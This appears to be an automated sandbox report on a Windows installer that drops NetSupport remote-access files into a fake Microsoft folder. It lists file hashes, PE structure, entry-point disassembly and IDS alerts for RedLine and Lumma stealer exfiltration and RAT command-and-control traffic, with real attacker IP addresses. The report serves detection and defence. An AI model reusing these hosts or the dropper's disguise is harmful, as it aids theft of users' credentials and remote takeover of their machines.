File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5387
Entropy (8bit):	7.799957991588148
Encrypted:	false
SSDEEP:	96:sQ+bfdSpU7SG7bVFwZ1w2f7yXMAZpqdiCRf6LtoIJ7g0WRiKQS+FhIeEIboU3cq:sRdSpU7vbVFwZ11jIIO6M7JqoIZuz3cq
MD5:	69D162774F894FF8B920330E376B7A62
SHA1:	F79CF9C0CCB851C7DB4924A54B0EFCD2F4398CA0
SHA-256:	C9FAA34663FE19EB4D8C007BF00AD7C4BC993F70C9FC42A04801ECCDD59008F7
SHA-512:	9D0E7FA4AC408D9D7D86186E05258BDB615B04AE8EC0DF813C3307A646EC4F87AABA1FCD77914AEA1FFE3607B87BBCA2DCC5D18C076D8AECDEA1496910AEC87D
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:38:22....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.......................................................................................S&....1...\.g).l.....^S......^,I..c.7,..YX(."..>wiT.y.:^8........R.-)s..>.+@..c..V.[Af...T.........3........B.\|.~...A..\|..r.......(qC..m~..nb...r.LIU.i3.K..........y.]5..\W;b.:/F...v.OW.R^...y^}4._...I4.t....l......,.$.C.....6..IS..E...../..J...5...%....Z.eK.u....j.........*x.{..t.!....@,...}..W...X8.S.........X.Z...-.w..(.8...z..EC..\....8.m5...z....Y.!\...!@.<:b].-.i}.....?..%...=gE.VM..\.2CJ..kK.d...o.!..v...M.e..4,...l...Y0...V.[.g..r.....h.....[-..-.....J....9kA..L...#.!"."kO.;...R.2...)Mr...X8....G.;A..".!az..Ud.Ie......+..........................!34 "12..$0ABCD........

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	ASCII text, with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1417
Entropy (8bit):	5.038888575659195
Encrypted:	false
SSDEEP:	24:zKcNDYToY5eqruuL6JL2QV8wkutu/2PJ74uzQD0DYJQb:zKaDYcY5eqquL6JKQV8wnQ/2PVjUQJ
MD5:	300006A7F17F1480B89F012C3714F231
SHA1:	D7087957485225AC31687EB3C6B3004BF905D351
SHA-256:	7CFB579E01245B482D4929B4FBD5408CDEBA8446DB61CA16FF985D771D3989A8
SHA-512:	7ADD4D7A264ED6F04238A39AEC99EF3DBED77B0AE1E72FAB7B8C829A2EE3993D1C6526552D42135EFE1686ACB14CE9CA82EF8B72BB4DAC0C0E9F17A15044BBE8
Malicious:	false
Reputation:	unknown
Preview:	Microsoft (R) File Expansion Utility..Copyright (c) Microsoft Corporation. All rights reserved.....Adding C:\ProgramData\regid.1993-06.com.microsoft\atmfd.dll to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\client32.ini to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\client32u.ini to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\HTCTL32.DLL to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\msvcr100.dll to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\nskbfltr.inf to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\NSM.ini to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\NSM.LIC to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\nsm_vpro.ini to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\pcicapi.dll to Extraction Queue..Adding C:\ProgramData\regid.1993-06.com.microsoft\PCICHEK.DLL to Extraction

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.6388132069840315
Encrypted:	false
SSDEEP:	3:2lc5I2Y1AnVrmlLn:CtG5SLn
MD5:	56575A4D9537648BAFB1D8000B73AB2C
SHA1:	01895D8807EEBC74D91E43F43429210DE6D69592
SHA-256:	7A8E1677D10C0978EA216FDEA4259AB99DE74453B3B996A28A27C4FFE8B0590F
SHA-512:	B296BAF1A9986223F7DB97F5C32E9AE236D9FF5311A4CE0631D267064FC3EBF4AD0DAB4F92BB29ED0D22A32F4BEB2F4B9FC450CF501244F9A96F8C9564DB37E9
Malicious:	false
Reputation:	unknown
Preview:	....4.9.4.1.2.6.....\MAILSLOT\NET\GETDCA025472D.................

**\Device\Mup\WORKGROUP*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.681858324205336
Encrypted:	false
SSDEEP:	3:2lc5I2Y1Anr96lt8lLn:CtG56ELn
MD5:	4947743A25F00A967163218521599961
SHA1:	CB6F55238C27B5E4D5A935EA222C2565D7B02080
SHA-256:	3F2B0F9912FDD166CDD706BC17CA81ABA14EEBBA0F7D11E2339A42DE95840DA9
SHA-512:	6F0BC544826ED2D6724FF80F09ED07653CB3F7B78D96DD7083B710A8D46C2B22BABA43AC56C5785D6609DB9DCA837E956C727AA2C529CDC0B45C5B7004E16B36
Malicious:	false
Reputation:	unknown
Preview:	....4.9.4.1.2.6.....\MAILSLOT\NET\GETDCABD4807B.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.41474800570153
TrID:	Win32 Executable (generic) a (10002005/4) 98.04% Inno Setup installer (109748/4) 1.08% InstallShield setup (43055/19) 0.42% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	ZmWSzgevgt.exe
File size:	1'671'954 bytes
MD5:	2deaf2be4672bf6457e136d78a7a3940
SHA1:	f8460d05dbdb1c171818510c9685847d00468349
SHA256:	4f2d5d155fe7497f9ab429cae34c5ebbdd711b0256b3bae83d9038cf1526c724
SHA512:	d6ac5c64471ed17b2f372d29da6a17fb7a959c02f026ee05134b77a90361f4e15bd4f531424107407cd54ce985aa5aee7eeca72da064fde10f9c1ba638181a47
SSDEEP:	24576:s7FUDowAyrTVE3U5F/dszKic6QL3E2vVsjECUAQT45deRV9Rg:sBuZrEUiKIy029s4C1eH9e
TLSH:	5575BF3FF268A13EC5AA1B3245B38310997BBA51B81A8C1E47FC344DCF765601E3B656
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0c0c2d33ceec80aa

Static PE Info

General

Entrypoint:	0x4b5eec
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63ECF218 [Wed Feb 15 14:54:16 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	e569e6f445d32ba23766ad67d1e3787f

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004B14B8h
call 00007F6AF0EADD25h
xor eax, eax
push ebp
push 004B65E2h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004B659Eh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004BE634h]
call 00007F6AF0F50817h
call 00007F6AF0F5036Ah
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F6AF0EC37C4h
mov edx, dword ptr [ebp-14h]
mov eax, 004C1D84h
call 00007F6AF0EA8917h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004C1D84h]
mov dl, 01h
mov eax, dword ptr [004238ECh]
call 00007F6AF0EC4947h
mov dword ptr [004C1D88h], eax
xor edx, edx
push ebp
push 004B654Ah
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F6AF0F5089Fh
mov dword ptr [004C1D90h], eax
mov eax, dword ptr [004C1D90h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F6AF0F56ABAh
mov eax, dword ptr [004C1D90h]
mov edx, 00000028h
call 00007F6AF0EC523Ch
mov edx, dword ptr [004C1D90h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc4000	0x9a	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc2000	0xfdc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x11000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc6000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc22f4	0x254	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xc3000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb39e4	0xb3a00	False	0.34525867693110646	data	6.357635049994181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xb5000	0x1688	0x1800	False	0.54443359375	data	5.971425428435973	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x37a4	0x3800	False	0.36097935267857145	data	5.048648594372454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xbb000	0x6de8	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xc2000	0xfdc	0x1000	False	0.3798828125	data	5.029087481102678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xc3000	0x1a4	0x200	False	0.345703125	data	2.7509822285969876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc4000	0x9a	0x200	False	0.2578125	data	1.877162954504408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xc5000	0x18	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xc6000	0x5d	0x200	False	0.189453125	data	1.3838943752217987	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x11000	0x11000	False	0.18623621323529413	data	3.69581702026596	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7678	0xa68	Device independent bitmap graphic, 64 x 128 x 4, image size 2048	English	United States	0.1174924924924925
RT_ICON	0xc80e0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.15792682926829268
RT_ICON	0xc8748	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23387096774193547
RT_ICON	0xc8a30	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.39864864864864863
RT_ICON	0xc8b58	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096, 256 important colors	English	United States	0.08339210155148095
RT_ICON	0xca180	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.1023454157782516
RT_ICON	0xcb028	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.10649819494584838
RT_ICON	0xcb8d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.10838150289017341
RT_ICON	0xcbe38	0x12e5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.8712011577424024
RT_ICON	0xcd120	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.05668398677373642
RT_ICON	0xd1348	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.08475103734439834
RT_ICON	0xd38f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.09920262664165103
RT_ICON	0xd4998	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.2047872340425532
RT_STRING	0xd4e00	0x360	data			0.34375
RT_STRING	0xd5160	0x260	data			0.3256578947368421
RT_STRING	0xd53c0	0x45c	data			0.4068100358422939
RT_STRING	0xd581c	0x40c	data			0.3754826254826255
RT_STRING	0xd5c28	0x2d4	data			0.39226519337016574
RT_STRING	0xd5efc	0xb8	data			0.6467391304347826
RT_STRING	0xd5fb4	0x9c	data			0.6410256410256411
RT_STRING	0xd6050	0x374	data			0.4230769230769231
RT_STRING	0xd63c4	0x398	data			0.3358695652173913
RT_STRING	0xd675c	0x368	data			0.3795871559633027
RT_STRING	0xd6ac4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd6d68	0x10	data			1.5
RT_RCDATA	0xd6d78	0x2c4	data			0.6384180790960452
RT_RCDATA	0xd703c	0x2c	data			1.1363636363636365
RT_GROUP_ICON	0xd7068	0xbc	data	English	United States	0.6170212765957447
RT_VERSION	0xd7124	0x584	data	English	United States	0.2754957507082153
RT_MANIFEST	0xd76a8	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, LocalFree, CloseHandle, SizeofResource, VirtualProtect, VirtualFree, GetFullPathNameW, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVersion, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, RegQueryValueExW, AdjustTokenPrivileges, GetTokenInformation, ConvertSidToStringSidW, LookupPrivilegeValueW, RegCloseKey, OpenProcessToken, RegOpenKeyExW

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4541a8
__dbk_fcall_wrapper	2	0x40d0a0
dbkFCallWrapperAddr	1	0x4be63c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.577.105.136.350296812046045 12/06/23-14:36:21.023223	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50296	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350339812046045 12/06/23-14:36:51.222959	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50339	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550240802048094 12/06/23-14:35:36.356295	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	50240	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350333812046045 12/06/23-14:36:47.245112	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50333	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350342812046045 12/06/23-14:36:53.204282	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50342	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802855505 12/06/23-14:35:05.037520	TCP	2855505	ETPRO TROJAN Lumma Stealer Related Activity	50196	80	192.168.2.5	104.21.83.145
192.168.2.577.105.136.350281812046045 12/06/23-14:36:10.745594	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50281	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350290812046045 12/06/23-14:36:17.057630	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50290	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350278812046045 12/06/23-14:36:08.769868	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50278	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350253812046045 12/06/23-14:35:52.149838	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50253	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350351812046045 12/06/23-14:36:59.140117	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50351	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350367812046045 12/06/23-14:37:10.788474	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50367	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350287812046045 12/06/23-14:36:15.015230	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50287	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350324812046045 12/06/23-14:36:39.669230	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50324	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350315812046045 12/06/23-14:36:33.722404	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50315	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350306812046045 12/06/23-14:36:27.603943	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50306	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350280812046045 12/06/23-14:36:10.078872	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50280	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350269812046045 12/06/23-14:36:02.831888	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50269	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350323812046045 12/06/23-14:36:38.995481	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50323	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350262812046045 12/06/23-14:35:58.204295	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50262	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350297812046045 12/06/23-14:36:21.680969	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50297	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350300812046045 12/06/23-14:36:23.660225	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50300	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350358812046045 12/06/23-14:37:04.890944	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50358	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350357812046045 12/06/23-14:37:03.144834	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50357	81	192.168.2.5	77.105.136.3
192.168.2.5157.230.96.3250126802834928 12/06/23-14:33:41.532380	TCP	2834928	ETPRO MALWARE Observed Suspicious UA (AdvancedInstaller)	50126	80	192.168.2.5	157.230.96.32
192.168.2.577.105.136.350316812046045 12/06/23-14:36:34.370818	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50316	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350370812046045 12/06/23-14:37:12.776192	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50370	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350305812046045 12/06/23-14:36:26.947206	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50305	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350263812046045 12/06/23-14:35:58.892261	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50263	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350334812046045 12/06/23-14:36:47.909549	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50334	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350268812046045 12/06/23-14:36:02.185549	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50268	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350352812046045 12/06/23-14:36:59.810575	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50352	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350245812046045 12/06/23-14:35:46.787174	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50245	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350286812046045 12/06/23-14:36:14.346391	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50286	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350264812046045 12/06/23-14:35:59.558216	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50264	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350368812046045 12/06/23-14:37:11.445584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50368	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350270812046045 12/06/23-14:36:03.477604	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50270	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350261812046045 12/06/23-14:35:57.535196	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50261	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350301812046045 12/06/23-14:36:24.319593	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50301	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350279812046045 12/06/23-14:36:09.427188	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50279	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350350812046045 12/06/23-14:36:58.477999	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50350	81	192.168.2.5	77.105.136.3
192.168.2.5159.223.29.4049730802839343 12/06/23-14:33:21.497166	TCP	2839343	ETPRO MALWARE InnoDownloadPlugin User-Agent Observed	49730	80	192.168.2.5	159.223.29.40
192.168.2.577.105.136.350288812046045 12/06/23-14:36:15.727049	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50288	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350338812046045 12/06/23-14:36:50.569356	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50338	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350344812046045 12/06/23-14:36:54.501584	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50344	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350285812046045 12/06/23-14:36:13.685357	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50285	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350291812046045 12/06/23-14:36:17.724996	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50291	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350255812046045 12/06/23-14:35:53.486217	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50255	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350258812046045 12/06/23-14:35:55.450063	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50258	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350353812046045 12/06/23-14:37:00.456748	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50353	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350347812046045 12/06/23-14:36:56.459765	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50347	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350249812046045 12/06/23-14:35:49.517021	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50249	81	192.168.2.5	77.105.136.3
192.168.2.595.142.47.114971812032827745 12/06/23-14:33:18.908166	TCP	2827745	ETPRO TROJAN NetSupport RAT CnC Activity	49718	1203	192.168.2.5	95.142.47.11
192.168.2.577.105.136.350314812046045 12/06/23-14:36:33.067223	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50314	81	192.168.2.5	77.105.136.3
192.168.2.577.105.136.350349812046045 12/06/23-14:36:57.813215	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization)	50349	81	192.168.2.5	77.105.136.3
192.168.2.5104.21.83.14550196802048094 12/06/23-14:35:05.671865	TCP	2048094	ET TROJAN [ANY.RUN] Win32/Lumma Stealer Exfiltration	50196	80	192.168.2.5	104.21.83.145
